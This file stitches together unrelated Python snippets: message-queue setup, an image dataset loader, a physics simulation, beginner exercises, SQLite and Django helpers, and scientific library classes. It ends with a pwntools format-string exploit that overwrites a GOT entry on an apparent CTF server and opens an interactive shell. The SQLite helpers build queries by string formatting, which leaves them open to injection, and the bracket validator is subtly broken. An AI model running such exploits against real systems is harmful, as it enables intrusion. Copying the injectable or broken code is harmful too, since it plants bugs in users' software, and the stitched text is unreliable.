# Establish a connection with RabbitMQ server
connection = pika.BlockingConnection(
    pika.ConnectionParameters('localhost')
)

# Create a channel
channel = connection.channel()

type_ = 'topic'

# Define exchange name
exchange_name_ = f'exchange_{type_}'

# Declare exchange
channel.exchange_declare(
    exchange=exchange_name_,
    exchange_type=type_
)

connection.close()


import os.path
import random
import torchvision.transforms as transforms
import numpy as np
from data.base_dataset import BaseDataset
import os
import glob
from PIL import Image
import json

class FlirDataset(BaseDataset):
    def initialize(self, opt, mode='train', test_map=None):
        print('ThermalDataset')
        self.opt = opt
        self.root = opt.dataroot
        self.dir_AB = os.path.join(opt.dataroot, opt.phase)
        if test_map == None:
            self.test_map = self.opt.test_map
        else:
            self.test_map = test_map

        # TODO
        ###應該是舊版的FLIR dataset
        # if test:
        #     self.A_data = np.load(os.path.join(self.root, "grayscale_test_data.npy"))
        #     self.B_data = np.load(os.path.join(self.root, "thermal_test_data.npy"))
        # else:
        #     self.A_data = np.load(os.path.join(self.root, "grayscale_training_data.npy"))
        #     self.B_data = np.load(os.path.join(self.root, "thermal_training_data.npy"))

        if mode == 'train':
            with open(os.path.join(self.root, 'images_rgb_train/train_data.json')) as f:
                self.A_data = json.load(f)
            self.A_data_path = self.root + '/images_rgb_train/data'
            self.A_data = [os.path.join(self.A_data_path, path) for path in self.A_data]
            self.B_data_path = self.root + '/images_thermal_train/data'
            self.B_data = sorted(glob.glob(os.path.join(self.B_data_path, "*.jpg")))

        elif mode == 'val':
            self.A_data_path = self.root + '/images_rgb_val/data'
            self.A_data = self.delete_small_data(self.A_data_path)
            # self.A_data = sorted(glob.glob(os.path.join(self.A_data_path, "*.jpg")))

            self.B_data_path = self.root + '/images_thermal_val/data'
            self.B_data = sorted(glob.glob(os.path.join(self.B_data_path, "*.jpg")))

        elif mode == 'test':
            with open(self.test_map) as f:
                self.test_pair = json.load(f)
            self.A_data_path = self.root + '/video_rgb_test/data'
            self.A_data = sorted(glob.glob(os.path.join(self.A_data_path, "*.jpg")))
            self.B_data_path = self.root + '/video_thermal_test/data'
            self.B_data = [os.path.join(self.B_data_path, self.test_pair[os.path.basename(path)]) for path in
                           self.A_data]

            print(f"testing data : {len(self.B_data)}")
        else:
            raise ValueError(f"phase {mode} is not recognized.")

    def delete_small_data(self, root):
        B_data = sorted(glob.glob(os.path.join(root, "*.jpg")))
        size_B = []
        for index, img_path in enumerate(B_data):
            print(f"{index}/{len(B_data)}")
            B_shape = np.asarray(Image.open(img_path)).shape
            if not (B_shape[0] < 512 or B_shape[1] < 512):
                size_B.append(img_path)
        return size_B

    def get_transform(self, phase):
        if phase == 'train':
            pass
        else:
            transform = transforms.Compose([
                transforms.ToPILImage(),
                transforms.Resize([512, 512]),
                transforms.ToTensor(),
                transforms.Normalize([0.5], [0.5])
            ])
        return transform

    def img2gray(self, img):
        rgb_to_grayscale = transforms.Grayscale()
        PIL_image = transforms.ToPILImage()(img)
        gray_img = rgb_to_grayscale(PIL_image)
        return transforms.ToTensor()(gray_img)

    def __getitem__(self, index):
        A_img_path = self.A_data[index]  # .transpose(2, 0, 1)
        B_img_path = self.B_data[index]  # .transpose(2, 0, 1)

        A = Image.open(A_img_path).convert("RGB")
        B = Image.open(B_img_path)

        # A = A.resize((self.opt.loadSize, self.opt.loadSize), Image.BICUBIC)
        A = transforms.ToTensor()(A.copy()).float()
        B = transforms.ToTensor()(B.copy()).float()
        if self.opt.isTrain:
            w_total = A.size(2)
            w = int(w_total)
            h = A.size(1)
            w_offset = random.randint(0, max(0, w - self.opt.fineSize - 1))
            h_offset = random.randint(0, max(0, h - self.opt.fineSize - 1))
            # IR 大小只有 (1,512,640)
            h_b_offset = random.randint(0, max(0, B.size(1) - self.opt.fineSize - 1))
            w_b_offset = random.randint(0, max(0, B.size(2) - self.opt.fineSize - 1))

            A = A[:, h_offset:h_offset + self.opt.fineSize, w_offset:w_offset + self.opt.fineSize]
            B = B[:, h_b_offset:h_b_offset + self.opt.fineSize, w_b_offset:w_b_offset + self.opt.fineSize]

            A_gray = self.img2gray(A)
            A = transforms.Normalize([0.5], [0.5])(A)
            B = transforms.Normalize([0.5], [0.5])(B)
            A_gray = transforms.Normalize([0.5], [0.5])(A_gray)
        else:
            self.transform = self.get_transform(phase='test')
            A_gray = self.img2gray(A)
            A = self.transform(A)
            B = self.transform(B)
            A_gray = self.transform(A_gray)

            # A = transforms.Resize([512,512])(A)
            # B = transforms.Resize([512,512])(B)
            # A = transforms.Normalize([0.5], [0.5])(A)
            # B = transforms.Normalize([0.5], [0.5])(B)

        return {'A': A, 'B': B, 'A_paths': A_img_path, 'B_paths': B_img_path, 'A_gray': A_gray}

    def __len__(self):
        return len(self.A_data)

    def name(self):
        return 'FLIR DATASET'


from meep import Vector3, Sphere, Source, GaussianSource, Ez, Ey, Ex, Dielectric, Simulation, PML, at_every, \
    at_beginning, at_end
import numpy as np

def sim_run(resolution, cell, geom, source, time, dt, path_e, out, u):

    def sim():
        simulation = Simulation(cell_size=cell,
                                geometry=geom,
                                sources=[source()],
                                boundary_layers=[PML(pml)],
                                resolution=resolution)
        return simulation

    def start():
        def slice_dielectric(sim):
            def xy():
                return eps.append(sim.get_array(component=Dielectric,
                                                size=Vector3(s_xyz(radius, 0), s_xyz(radius, 0), 0),
                                                center=Vector3(0, 0, 0)))

            def xz():
                return eps.append(sim.get_array(component=Dielectric,
                                                size=Vector3(s_xyz(radius, 0), 0, s_xyz(radius, 0)),
                                                center=Vector3(0, 0, 0)))

            def yz():
                return eps.append(sim.get_array(component=Dielectric,
                                                size=Vector3(0, s_xyz(radius, 0), s_xyz(radius, 0)),
                                                center=Vector3(0, 0, 0)))

            xy()
            xz()
            yz()
            return print('---slice eps---')

        def slice_xy(sim):
            def array_ex():
                return ex_comp.append(sim.get_array(component=Ex,
                                                    size=Vector3(s_xyz(radius, 0), s_xyz(radius, 0), 0),
                                                    center=Vector3(0, 0, 0)))

            def array_ey():
                return ey_comp.append(sim.get_array(component=Ey,
                                                    size=Vector3(s_xyz(radius, 0), s_xyz(radius, 0), 0),
                                                    center=Vector3(0, 0, 0)))

            def array_ez():
                return ez_comp.append(sim.get_array(component=Ez,
                                                    size=Vector3(s_xyz(radius, 0), s_xyz(radius, 0), 0),
                                                    center=Vector3(0, 0, 0)))

            array_ex()
            array_ey()
            array_ez()
            return print('slice E comp\n' + ' time: ' + str(sim.meep_time()))

        if out == 'out_eps':
            eps = list()
            init = sim().init_sim()
            slice_dielectric(init)
            np.savez(path_e + 'eps', eps_xy=eps[0], eps_xz=eps[1], eps_yz=eps[2])
            print('---eps saved---')

        else:
            eps = list()
            ex_comp = list()
            ey_comp = list()
            ez_comp = list()
            if out == 'sim':
                sim().run(at_beginning(slice_dielectric, slice_xy),
                          at_every(dt, slice_xy),
                          until_after_sources=time)
            elif out == 'sim_res':
                sim().run(at_beginning(slice_dielectric, slice_xy),
                          at_every((u/fcen)/20, slice_xy),
                          until_after_sources=u/fcen)
            np.savez(path_e + 'eps', eps_xy=eps[0], eps_xz=eps[1], eps_yz=eps[2])
            np.savez(path_e + 'ex', ex=ex_comp)
            np.savez(path_e + 'ey', ey=ey_comp)
            np.savez(path_e + 'ez', ez=ez_comp)

            return print('---E saved---')

    start()


# URI 1013 - CLEVERSON MENDES FARIA - APRENDENDO PYTHON

import math

entradas = input().split()

#a,b,c = int(a),int(b),int(c)

a = int(entradas[0])
b = int(entradas[1])
c = int(entradas[2])

maiorAB = ((a+b+abs(a-b))/2)
maior = ((maiorAB+c+abs(maiorAB-c))/2)

maior = int(maior)

print(maior, "eh o maior")


class Solution:
    def isValid(self, s: str) -> bool:
        stack = []
        mp = {')':'(', ']':'[', '}':'{'}
        for i in s:
            if mp.get(i, 0) == 0: #只要是左括号就压入栈中
                stack.append(i)
            elif (not stack) or stack.pop != mp[i]: #右括号，则要匹配栈顶的左括号，若不匹配或者栈空则返回false
                return False
        return not stack


import sqlite3

#bot.ini ファイル読み込み
import configparser
config = configparser.ConfigParser()
config.read("config/bot.ini",encoding="utf-8")
db_sql = config["db"]["db_configuration"]
#DBコントロール
def sql_control(db_name,sql,commit):
    sql = f''' {sql}'''
    con = sqlite3.connect(f"data/{db_name}.db")
    cur = con.cursor()
    cur.execute(sql)
    if commit == True:
        con.commit()
    cur = cur.fetchall()
    con.close()
    return cur
#DB作成
def create(db_name):
    sql = f"""
    CREATE table {db_name}(
        {db_sql});
    """
    sql_control(db_name,sql,commit=True)

#column追加
def column_add(db_name,column_name):
    sql = f'''ALTER TABLE {db_name}
            ADD COLUMN "{column_name}";'''
    sql_control(db_name,sql,commit=True)

#DBにデータ追加
def add(db_name,guild,category):
    #sql = f"""insert into server_info(guild_id,category,ch1_jp,ch2_en,ch3_cn,ch4_kr,ch5_th,ch6_id)values({guild},{category},{ch1},{ch2},{ch3},{ch4},{ch5},{ch6});"""
    sql = f"""insert into {db_name}(guild_id,category)values({guild},{category});"""
    sql_control(db_name,sql,commit=True)

#DB内の特定のデータを検索
def search(db_name,guild_id):
    sql = f''' SELECT *
            FROM {db_name}
            WHERE guild_id = {guild_id}'''
    cur = sql_control(db_name,sql,commit=False)
    return cur

#DB内の特定のデータを変更
def change(db_name,guild,ch,ch_id):
    sql = f''' UPDATE {db_name}
                SET {ch} = {ch_id}
                WHERE guild_id = {guild};'''
    sql_control(db_name,sql,commit=True)

def dell(db_name,db_id):
    sql = f"""
            DELETE FROM {db_name} WHERE id="{db_id}";"""
    sql_control(db_name,sql,commit=True)


class Person:
    country="Pakistan"

    def work(self):
        print("Iam a Person and iam Working")

class Employee(Person):
    company = "Honda"

    def work(self):
        print("iam a Employee and iam also Working")

    def getsalary(self):
        print(f"Salary is {self.salary} ")

class Programmer(Employee):
    company = "Fiverr"

    def work(self):
        print("Iam a Programmer and iam also Working")

    def getsalary(self):
        print("Salary is not available")

p=Person()
print(p.country)
# print(p.company) -> Throws an error
p.work()

e=Employee()
Employee.salary=100
e.getsalary()
print(e.country)
e.work()

pr=Programmer()
pr.getsalary()
print(pr.country)
print(pr.company)
pr.work()


import yaml
import matplotlib.pyplot as plt
import numpy as np
import math as mt
def read_pgm(pgmf):
    """Return a raster of integers from a PGM as a list of lists."""
    p=pgmf.readline()
    width=int(pgmf.readline())
    height=int(pgmf.readline())
    #(width, height) = [int(i) for i in pgmf.readline().split()]
    depth = int(pgmf.readline())
    assert depth <= 255

    raster = []
    for y in range(height):
        row = []
        for y in range(width):
            row.append(ord(pgmf.read(1)))
        raster.append(row)
    return raster
def read_ros_map(map_path):
    map = open(map_path, 'rb')
    mapData = read_pgm(map)
    mapData = np.array(mapData)
    mapData = mapData[::-1]
    return mapData
'''
mapData=read_ros_map('./6b/map/mymap.pgm')
width,length=mapData.shape
for i in range(0,width,10):
    for j in range(0,length,10):
        if mapData[i,j]>230:
            plt.plot(j,i,'ro')
plt.show()
print(mapData[1050][100])
'''
if __name__ == '__main__':
    f = open("./6b/map/mymap.yaml")
    temp = yaml.load(f)
    resolution = temp['resolution']
    map_origin = temp['origin']
    mapData = read_ros_map('./6b/map/mymap.pgm')
    list = []
    for y in range(-6, 74):
        for x in range(0, 51):
            x_pixel = int(mt.floor((x - map_origin[0]) / resolution))
            y_pixel = int(mt.floor((y - map_origin[1]) / resolution))
            if mapData[y_pixel, x_pixel] > 225:
                list.append([x, y])
                plt.plot(x, y, 'ro')
    np.savetxt("list.txt", np.array(list), fmt='%f', delimiter=' ', newline='\r\n')
    plt.show()


from linecache import checkcache
from .dice import Dice

#GameSetup class is used to set up a set of steps the game goes through
#   and calls associated functions for those steps in imported files
class GameSetup:
    def __init__(self):
        self.rolls = []
        self.score = 0
        self.total = 0
        self.play_game = True

        for i in range(5):
            die = Dice()
            self.rolls.append(die)

    #Call the functions to run the program
    def start_game(self):
        while self.play_game:
            self.continue_game()
            self.newScore()
            self.rollScore()

    #Ask if user wants to continue playing
    def continue_game(self):

        check_continue = True
        while check_continue:
            checkRoll = input('Roll dice? [y/n]')

            if checkRoll == 'n':
                self.play_game = False
                check_continue = False
            elif checkRoll == 'y':
                self.play_game = True
                check_continue = False
            else:
                print(checkRoll + ' is not a valid option. Try again:')
                check_continue = True

    #Update player's score
    def newScore(self):
        if not self.play_game:
            return

        for i in range(len(self.rolls)):
            rolls = self.rolls[i]
            rolls.roll()
            self.total += rolls.points

    #Show rolled values and total score
    def rollScore(self):
        if not self.play_game:
            return

        values = ''
        for i in range(len(self.rolls)):
            roll = self.rolls[i]
            values += f'{roll.value} '

        print('Your rolls: ', values)
        print('Your total score: ', self.total)
        self.continue_game == (self.score > 0)


from gamemodes.json_evaluator import JsonEvaluator

# 1. Zdefiniuj funkcje

def f(x):
    x = int(x)
    return x**2

# 2. Utwórz evaluator z listą funkcji jako jedynym argumentem

jsonEvaluator = JsonEvaluator([f])

# 3. Aby wykonać użyj jsonEvaluator.evaluate_from_string("string z jsona") (zawsze zwraca string)

print(jsonEvaluator.evaluate_from_string("f(5)"))

# 4. Zmienne może zdefiniować w jsonie albo w jsonEvaluator.variable_dictionary["zmienna"] = wartość
#    ^ Te zmienne wykorzystuje sie w funkcjach z symbolem & na poczatku

jsonEvaluator.variable_dictionary["answer"] = 6
print(jsonEvaluator.evaluate_from_string("&answer"))

# Docelowe wykorzystanie:
# Użytkownik (być może przez UI) definuje zasady gry używając istniejących funkcji jako "klocków" w jsonie.
# Jeśli potrzebne są nowe funkcje pythonowe można po ich napisaniu dodać ich
# nazwy do listy evaluatora, aby ich funkcjonalność byłą dostępna w jsonie.
# W przyszłości dodam wrappery w stylu evaluator.gameEnded() żeby
# zminimalizować wykorzystanie evaluate_from_string


__all__ = ["Background", "BackgroundError"]

from xpsi.global_imports import *

from abc import abstractmethod
from xpsi.ParameterSubspace import ParameterSubspace

class BackgroundError(xpsiError):
    """ Raised if there is an issue with the incident background . """

class Background(ParameterSubspace):
    """ Base class for astronomical photon X-ray background. """

    @abstractmethod
    def __call__(self, energy_edges, phases):
        """ Evaluate the background and store it as an attribute.

        :param energy_edges:
            The :class:`numpy.ndarray` of energy edges the photon events span.

        :param phases:
            The :class:`numpy.ndarray` of phases (in cycles) the pulse was
            evaluated at.

        .. note::

            Notice that the background can be phase-dependent, and that the
            cached background must be a two-dimensional matrix equal in shape
            to that of the pulse signal incident on the telescope.

        """
        # do some stuff and set:
        # self.incident_background = ...

    @property
    def incident_background(self):
        """ Return the incident background specifc photon flux.

        Note that the area units need to be consistent with the units
        the effective area is expressed in within the response matrix of
        the instrument object.

        """
        return self._incident_background

    @incident_background.setter
    def incident_background(self, obj):
        """ Check and set the incident background. """
        try:
            assert isinstance(obj, _np.ndarray)
            assert obj.ndim == 2
            assert (obj >= 0.0).all()
        except AssertionError:
            raise BackgroundError('Stored background needs to be a '
                                  'two-dimensional ndarray with '
                                  'elements which are zero or positive.')
        else:
            self._incident_background = obj

    @property
    def registered_background(self):
        """ Return the registered background count rate signal. """
        return self._registered_background

    @registered_background.setter
    def registered_background(self, obj):
        """ Check and set the registered background. """
        try:
            assert isinstance(obj, _np.ndarray)
            assert obj.ndim == 2
            assert (obj >= 0.0).all()
        except AssertionError:
            raise BackgroundError('Stored background needs to be a '
                                  'two-dimensional ndarray with '
                                  'elements which are zero or positive.')
        else:
            self._registered_background = obj


# Write a Python function that takes a sequence of numbers and determines
# if all the numbers are different from each other (that is, they are distinct).

def distinct(seq):
    nums = set()
    for num in seq:
        if num not in nums:
            nums.add(num)

    return False if len(seq) != len(nums) else True

if __name__ == '__main__':
    numbers = [1,2,3,4,5,6]
    numbers2 = [1,2,3,4,5,5]
    print(distinct(numbers))
    print(distinct(numbers2))


# -*- coding: utf-8 -*-
from django.forms import ModelForm
from django import forms
from models import *
from multifield import *
DATE_FORMAT = ('%d.%m.%y',)
CHOICES = ((50, '50'), (100, '100'), (200, '200'), (300, '300'))
def getTuple(model, *fields):
    t = tuple(model.objects.values_list(*fields))
    return t

class MyModelMultipleChoiceField(forms.ModelMultipleChoiceField):
    def label_from_instance(self, obj):
        return "%s" % obj.type

class invoices_search(forms.Form):
    id = forms.IntegerField(required=False, label='Код')
    invno = forms.IntegerField(required=False, label='№')
    #type = MyModelMultipleChoiceField(queryset=Invoice_types.objects.only('id'), required=False, label='Тип заказа')
    type = forms.MultipleChoiceField(widget=forms.CheckboxSelectMultiple, choices=getTuple(Invoice_types), required=False, label='Тип заказа')
    seller__title = forms.CharField(required=False,  label='Отпускающий')
    customer__title = forms.CharField(required=False, label='Покупатель')
    date = IntervalField(required=False, label='Дата')
    sum = forms.DecimalField(required=False,label='Сумма')
    sumB = forms.DecimalField(required=False,label='СуммаБ')
    released = forms.NullBooleanField(required=False,label='Отпущено')
    releasedB = forms.NullBooleanField(required=False,label='ОтпущеноБ')
    payed = forms.DecimalField(required=False,label='Оплачено')
    compl_date = forms.DateField(required=False,label='')
    ID_SW = forms.IntegerField(required=False, label='Код СО')
    store = forms.MultipleChoiceField(choices=getTuple(Stores), required=False, label='Склад')
    def clean(self):
        for key in self.cleaned_data:
            if not ((self.cleaned_data[key] == None) or
                    (self.cleaned_data[key] == u'') or
                    (self.cleaned_data[key] == [])):
                break
        else:
            raise forms.ValidationError('Укажите хотябы одно условие для фильтрации')
        return self.cleaned_data
class Other(forms.Form):
    elements = forms.ChoiceField(widget=forms.Select, choices=CHOICES, label='эл. на стр.')

class interval(forms.Form):
    intr = IntervalField(required=False, widget=IntervalWidget)
    note = forms.CharField(required=False)
    #date = forms.SplitDateTimeField(required=False)


import os.path

from . import alig_set, sequence, st_selection

# Copyright 2010 Max-Planck-Institut Informatik
#
#    This file is part of RINerator
#
#    RINerator is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.
#
#    RINerator is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with RINerator.  If not, see <http://www.gnu.org/licenses/>.

def get_prtset(pdb_selection_lst, pdb_path):
    prtset_obj = PrtSet()
    for pdb_selection_tpl in pdb_selection_lst:
        sel_id = pdb_selection_tpl[0]
        pdb_file_name = pdb_selection_tpl[1]
        selection_lst = pdb_selection_tpl[2]
        stsel_obj = st_selection.set_str_sel(sel_id, pdb_file_name, pdb_path, selection_lst)
        prtset_obj.get_stsel(stsel_obj)
    return prtset_obj

def get_stset_seqs(fasta_lst, seq_path, prtset_obj):

    for fasta_filename in fasta_lst:
        fasta_file = os.path.join(seq_path, fasta_filename)
        prtset_obj.get_seq(fasta_file)
        print("INFO: Read sequence %s" % fasta_file)
    return prtset_obj

def read_fasta_alig_write_alig(fasta_alig_file, alig_file, prtset_obj):
    prtset_obj.get_fasta_alig(fasta_alig_file)
    alig_set_obj = prtset_obj.alig_set_obj
    alig_set_obj.write_alig(alig_file, prtset_obj.seq_dic, prtset_obj.stsel_dic)
    return prtset_obj

# read structures, sequences
# write fasta

# read msa
# write alig

class PrtSet:
    def __init__(self):
        self.stsel_lst = []  # list of st_sel.sel_id
        self.stsel_dic = {}  # dic[st_sel.sel_id] = stsel_obj
        self.seq_lst = []  # list of sequence identifiers
        self.seq_dic = {}  # seq_dic[seq_id] = seq_obj
        self.alig_set_obj = None  # AligSet object

    def get_stsel(self, stsel_obj):
        if stsel_obj.sel_id in self.stsel_dic:
            print("WARNING: Skipping structure %s, already in set" % stsel_obj.sel_id)
            return
        if stsel_obj.seq_obj is None:
            stsel_obj.get_seq()
        self.stsel_lst.append(stsel_obj.sel_id)
        self.stsel_dic[stsel_obj.sel_id] = stsel_obj

    def get_seq(self, fasta_seq_file):
        seq_obj = sequence.Sequence()
        seq_obj.read_fasta(fasta_seq_file)
        self.seq_lst.append(seq_obj.seq_id)
        self.seq_dic[seq_obj.seq_id] = seq_obj

    def write_set_fasta(self, fasta_set_file):
        fobj = file(fasta_set_file, 'w')
        for seq_id in self.seq_lst:
            seq_obj = self.seq_dic[seq_id]
            fasta_seq_str = seq_obj.get_fasta_seq_str()
            fobj.write(fasta_seq_str)
        for sel_id in self.stsel_lst:
            stsel_obj = self.stsel_dic[sel_id]
            if stsel_obj.seq_obj is None:
                stsel_obj.get_seq()
            fasta_seq_str = stsel_obj.seq_obj.get_fasta_seq_str()
            fobj.write(fasta_seq_str)
        print("INFO: Wrote sequences in %s" % fasta_set_file)
        fobj.close()

    def get_fasta_alig(self, fasta_alig_file):
        entry_label_lst = []
        for entry_label in self.seq_lst:
            entry_label_lst.append(entry_label)
        for entry_label in self.stsel_lst:
            entry_label_lst.append(entry_label)
        alig_set_obj = alig_set.AligSet(entry_label_lst)
        alig_set_obj.read_fasta_alig(fasta_alig_file, self.seq_dic, self.stsel_dic)
        print("INFO: Read aliment from %s" % fasta_alig_file)
        self.alig_set_obj = alig_set_obj


#!/usr/bin/env python3

from pwn import *
from time import sleep
context.arch = "amd64"
e = ELF("./got2win")
r = remote("34.100.187.70",5555)
exploit = b"%4199151x" + b"         %9$lln" + p64(e.got.puts)
r.sendline(exploit)
r.interactive()